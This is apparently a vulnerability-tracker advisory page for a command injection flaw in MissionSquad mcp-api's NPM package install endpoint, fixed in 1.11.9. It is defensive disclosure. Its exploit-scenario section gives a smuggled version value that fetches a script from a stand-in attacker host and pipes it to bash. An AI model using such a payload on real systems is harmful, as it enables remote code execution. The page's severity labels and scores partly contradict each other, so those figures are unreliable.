Skip to main content

MissionSquad mcp-api EUVDEUVD-2026-53927

| CVE-2026-19041 LOW
Command Injection (CWE-77)
2026-08-06 VulDB GHSA-pcgr-7p2p-x7w8
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege API credentials
  2. Delivery
    Send HTTP install request with injected version string
  3. Exploit
    exec() passes command to shell interpreter
  4. Execution
    Shell metacharacters split and execute injected payload
  5. Impact
    Arbitrary OS commands run as mcp-api service account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires low-privilege authenticated access to the mcp-api HTTP API (PR:L per CVSS 4.0 vector). The specific trigger is a malicious value in the version parameter of the NPM package installation request handled by PackageService.installPackage() - the version field was entirely unvalidated in versions through 1.11.8, and the resulting command string was passed to child_process.exec() which invokes a shell. Exploitation is network-reachable (AV:N) with low attack complexity (AC:L) and requires no user interaction (UI:N). Limiting factors: requires valid low-privilege credentials or session token to reach the endpoint; the blast radius is bounded by the OS privileges of the mcp-api service account (container or process isolation directly limits lateral impact); only versions ≤ 1.11.8 are vulnerable.

Impact

The CVSS 4.0 base score of 5.3 (Medium) is consistent with the attack profile: network-reachable, low complexity, but gated behind low-privilege authentication (PR:L), with impact confined to the vulnerable system (SC:N/SI:N/SA:N). The E:P supplemental metric confirms proof-of-concept exploit code exists, which meaningfully raises the practical exploitability above the base score alone implies. CISA KEV status is negative - no confirmed mass exploitation - suggesting opportunistic or targeted rather than widespread abuse. The 'Low' impact ratings (VC:L/VI:L/VA:L) may understate real-world consequences: command injection that achieves arbitrary OS code execution as the service account can escalate to full host compromise depending on runtime privilege configuration and container/VM isolation. EPSS data was not provided in the input; risk should be treated as elevated for any internet-exposed deployment. No conflicting signals between data sources were identified.

Exploit ScenarioDerived

An authenticated user sends an HTTP request to the mcp-api package installation endpoint with a version parameter containing shell metacharacters, such as 1.0.0; curl attacker.example/shell.sh | bash. The installPackage() function interpolates this directly into a command string executed via exec(), causing the shell to split on the semicolon and run the injected command as the mcp-api service account. Proof-of-concept exploit code is confirmed to exist per the CVSS 4.0 E:P supplemental metric.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 1.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

Command injection in MissionSquad mcp-api through version 1.11.8 enables remote authenticated users to execute arbitrary OS-level commands on the host by supplying a crafted version string to the NPM package installation endpoint. The root cause is string interpolation of unvalidated user input into a Node.js exec() call, which passes the resulting string through a shell interpreter - making shell metacharacters in the version parameter an effective injection vector. Proof-of-concept exploit code exists (CVSS 4.0 E:P); no active exploitation has been confirmed by CISA KEV. A patched release (v1.11.9) is available.

RemediationAI

Upgrade MissionSquad mcp-api to version 1.11.9, the vendor-released patch confirmed at https://github.com/MissionSquad/mcp-api/releases/tag/v1.11.9. The fix (commit a40f54d4533ba6618e1749383a245900eeb024c1, PR #44) replaces the shell-based exec() invocation with execFile() using shell: false, directly invoking node + npm-cli.js when the CLI path is resolvable, and adds strict allowlist regex validation for both package name and version fields. If immediate upgrade is not feasible, a compensating control is to restrict network access to the package installation endpoint (e.g., behind an authenticated API gateway or firewall rule) to reduce the attack surface; however, this does not eliminate the injection flaw and should be treated as temporary. Disabling the NPM package management feature entirely until the patch is applied is the most reliable mitigation if the feature is not operationally required.

Affected VersionsENISA

mcp-api 1.11.6
mcp-api 1.11.8
mcp-api 1.11.4
mcp-api 1.11.1
mcp-api 1.11.5
mcp-api 1.11.7
mcp-api 1.11.0
mcp-api 1.11.3
mcp-api 1.11.2

Affected Packages

euvd mcp_api no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

mcp-api is a Node.js/TypeScript REST API server used to manage MCP (Model Context Protocol) server configurations, including dynamic installation of NPM packages. The vulnerable code in src/services/packages.ts constructed npm install commands via template-literal string interpolation - npm install ${name}${version ? '@' + version : ''} - and executed them using Node.js child_process.exec(). Because exec() passes the full command string through a shell interpreter (/bin/sh on Unix, cmd.exe on Windows), any shell metacharacter in the version argument (e.g., ;, &&, |, backticks) is interpreted and executed. While a basic allowlist regex existed for the package name field, the version parameter had no validation whatsoever in the affected releases, providing the primary injection path. The fix (commit a40f54d) replaces exec() with execFile() (shell-bypass mode), adds a strict allowlist regex for both name and version fields, and implements a helper runNpm() that resolves npm's CLI path directly to avoid shell invocation entirely. CWE-77 (Improper Neutralization of Special Elements used in a Command) precisely characterizes this root cause.

Know when Mcp Api gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.3 MEDIUM

Network-reachable endpoint requires low-privilege authentication (PR:L); no scope change as subsequent-system impact is absent per CVSS 4.0 SC/SI/SA:N.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Aug 06, 2026 - 14:22 NVD
MEDIUM LOW
CVSS changed
Aug 06, 2026 - 14:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability has been found in MissionSquad mcp-api up to 1.11.8. The impacted element is the function this.packageService.installPackage of the file src/controllers/packages.ts of the component NPM Package Version Handler. The manipulation leads to command injection. It is possible to initiate the attack remotely. Upgrading to version 1.11.9 is sufficient to resolve this issue. The identifier of the patch is a40f54d4533ba6618e1749383a245900eeb024c1. The affected component should be upgraded.

Threat Intelligence Overview

EPSS Score
1.7%
Top 26% exploitable
Prevalence
Rare
niche MCP protocol tooling from a small vendor
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 1.7%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy